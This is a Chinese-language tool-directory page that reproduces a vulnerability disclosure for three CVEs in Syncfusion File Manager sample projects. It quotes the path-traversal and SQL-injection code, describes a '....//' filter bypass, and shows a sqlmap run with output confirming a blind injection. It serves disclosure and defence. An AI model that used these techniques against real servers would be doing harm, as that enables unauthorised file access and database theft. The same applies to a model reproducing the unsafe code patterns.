Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2023-26563-26564-26565 — 针对 Syncfusion 文件管理器中三个漏洞的概念验证利用:目录遍历导致任意文件读取/写入/删除,以及 SQL Server 提供程序中的 SQL 注入。 | Kitploit
工具/GitHubGitHub/rupturainfosec/cve-2023-26563-26564-26565
漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试数据库安全
GitHubrupturainfosec/cve-2023-26563-26564-26565

CVE-2023-26563-26564-26565

针对 Syncfusion 文件管理器中三个漏洞的概念验证利用:目录遍历导致任意文件读取/写入/删除,以及 SQL Server 提供程序中的 SQL 注入。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
31年前尚未审核
分享

供应商声称在2024年之后发布的所有版本中已修复所有详细列出的漏洞。Ruptura InfoSecurity 尚未验证这些修复是否完整。

请参阅供应商在 https://github.com/RupturaInfoSec/CVE-2023-26563-26564-26565/issues/1 中的评论。

CVE-2023-26563 - ASPCore Filemanager 中的本地文件读取

受影响的仓库:https://github.com/SyncfusionExamples/ej2-aspcore-file-provider/ Git 提交 7c8791084ff86d4a2c225756c490591f6e011a6c 之前的版本存在漏洞

该应用程序未能验证用户提供的任何路径。因此,可以指定目录遍历序列("../")来列出任何目录中的文件、读取任何本地文件、将任何文件上传到服务器上的任意位置以及删除服务器上的任何文件。

在 ASP Core 仓库中,大部分实际功能实现在 Models/PhysicalFileProvider.cs 中。

在下载的情况下,names 参数直接来自用户在请求中的输入。

root@kitploit:~
        public virtual void Download(string path, string[] names, params FileManagerDirectoryContent[] data)
        {
            try
            {
                string physicalPath = GetPath(path);
                String extension;
                int count = 0;
                ...
                if (names.Length > 1)
                    DownloadZip(path, names);

                if (count == names.Length)
                {
                    DownloadFile(path, names);
                }

然后这个路径被直接用于 Path.combine 函数中。

root@kitploit:~
protected virtual void DownloadFile(string path, string[] names = null)
{

    if (!string.IsNullOrEmpty(path))
    {
        try
        {
            path = (Path.Combine(contentRootPath + path, names[0]));
            HttpResponse response = HttpContext.Current.Response;
            response.Buffer = true;
            response.Clear();
            response.ContentType = "APPLICATION/octet-stream";
            string extension = System.IO.Path.GetExtension(path);
            response.AddHeader("content-disposition", string.Format("attachment; filename = \"{0}\"", System.IO.Path.GetFileName(path)));
            response.WriteFile(path);
            response.Flush();
            response.End();
        }
        catch (Exception ex) { throw ex; }
    }
    else throw new ArgumentNullException("name should not be null");

}

在大多数端点中,他们试图通过移除 ../ 来修复此问题,但这可以通过使用类似 ....// 的方式轻松绕过,经过 .replace("../", "") 处理后,结果将是原始的 ../。

CVE-2023-26564 - EJ2 Node Filemanager 中的本地文件读取

受影响的仓库:https://github.com/SyncfusionExamples/ej2-filemanager-node-filesystem Git 提交 65bc929e34aa34a3a9db0dc1cc9cba03e19ba9e6 之前的版本存在漏洞

尽管该应用程序确实包含一个正则表达式来阻止目录遍历序列,但它仅在某些时候这样做。因此:

  • 在 Windows 上,可以列出任何目录中的文件、读取任何本地文件、将任何文件上传到服务器上的任意位置以及删除服务器上的任何文件。
  • 在 Linux 上,无法列出目录中的文件。但是,由于可以下载目录(然后以 ZIP 形式提供),用户可以下载目录来列出其他文件。

在 Node 仓库中,所有功能都在一个文件中提供: https://github.com/SyncfusionExamples/ej2-filemanager-node-filesystem/blob/65bc929e34aa34a3a9db0dc1cc9cba03e19ba9e6/filesystem-server.js

对于文件下载,根本原因相当明显,应用程序在拼接文件路径时信任用户的输入:

root@kitploit:~
/**
 * Download a file or folder
 */
app.post('/Download', function (req, res) {
    replaceRequestParams(req, res);
    var downloadObj = JSON.parse(req.body.downloadInput);
    var permission; var permissionDenied = false;
    downloadObj.data.forEach(function (item) {
        var filepath = (contentRootPath + item.filterPath).replace(/\\/g, "/");
        permission = getPermission(filepath + item.name, item.name, item.isFile, contentRootPath, item.filterPath);
        if (permission != null && (!permission.read || !permission.download)) {
            permissionDenied = true;
            var errorMsg = new Error();
            errorMsg.message = (permission.message !== "") ? permission.message : getFileName(contentRootPath + item.filterPath + item.name) + " is not accessible. You need permission to perform the download action.";
            errorMsg.code = "401";
            response = { error: errorMsg };
            response = JSON.stringify(response);
            res.setHeader('Content-Type', 'application/json');
            res.json(response);
        }
    });
    if (!permissionDenied) {
        if (downloadObj.names.length === 1 && downloadObj.data[0].isFile) {
            var file = contentRootPath + downloadObj.path + downloadObj.names[0];
            res.download(file);
        } else {
            var archive = archiver('zip', {
                gzip: true,
                zlib: { level: 9 } // 设置压缩级别。
            });
            var output = fs.createWriteStream('./Files.zip');
            downloadObj.data.forEach(function (item) {
                archive.on('error', function (err) {
                    throw err;
                });
                if (item.isFile) {
                    archive.file(contentRootPath + item.filterPath + item.name, { name: item.name });
                }
                else {
                    archive.directory(contentRootPath + item.filterPath + item.name + "/", item.name);
                }
            });

CVE-2023-26565 - SQL Server 数据库文件提供程序中的 SQL 注入

受影响的仓库:https://github.com/SyncfusionExamples/sql-server-database-aspcore-file-provider Git 提交 d671e09d0cfddb8e3c87f172d8a9ca4caf5980a6 之前的版本存在漏洞

在 SQL Server 仓库中,大部分实际功能实现在 Models/SQLFileProvider.cs 中。

SQL 注入在受影响的仓库中相当常见且频繁,可以通过一个简单的 sqlmap 命令利用:

root@kitploit:~
sqlmap -u 'http://localhost:9999/api/SQLProvider/SQLGetImage?path=1/&id=9225&time=1680527844871'

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 14:31:52 /2023-04-03/

[14:31:52] [INFO] testing connection to the target URL
[14:31:52] [INFO] testing if the target URL content is stable
[14:31:53] [INFO] target URL content is stable
[14:31:53] [INFO] testing if GET parameter 'path' is dynamic
[14:31:53] [WARNING] GET parameter 'path' does not appear to be dynamic
[14:31:54] [WARNING] heuristic (basic) test shows that GET parameter 'path' might not be injectable
[14:31:55] [INFO] testing for SQL injection on GET parameter 'path'
[14:31:55] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:31:57] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[14:31:57] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[14:31:57] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[14:31:57] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[14:31:58] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[14:31:58] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[14:31:58] [INFO] testing 'Generic inline queries'
[14:31:58] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[14:31:58] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[14:31:58] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[14:31:58] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[14:31:58] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[14:31:59] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[14:31:59] [INFO] testing 'Oracle AND time-based blind'

it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n]
[14:32:00] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[14:32:00] [WARNING] GET parameter 'path' does not seem to be injectable
[14:32:00] [INFO] testing if GET parameter 'id' is dynamic
[14:32:00] [WARNING] GET parameter 'id' does not appear to be dynamic
[14:32:00] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[14:32:01] [INFO] testing for SQL injection on GET parameter 'id'
[14:32:01] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:32:01] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --code=200)

存在漏洞的代码片段示例:

root@kitploit:~
try
{
    SqlDataReader reader = (new SqlCommand(("select ItemID from " + this.tableName + " where ParentID='" + rootId + "'"), sqlConnection)).ExecuteReader();
    while (reader.Read()) { isRoot = reader["ItemID"].ToString(); }
}
root@kitploit:~
try
{
    SqlDataReader reader = (new SqlCommand(("select ParentID from " + this.tableName + " where ItemID='" + data[0].Id + "'"), sqlConnection)).ExecuteReader();
    while (reader.Read()) { parentID = reader["ParentID"].ToString(); }
}

SQL 注入导致根据用户帐户的权限配置,可以完全读取数据库。

下载工具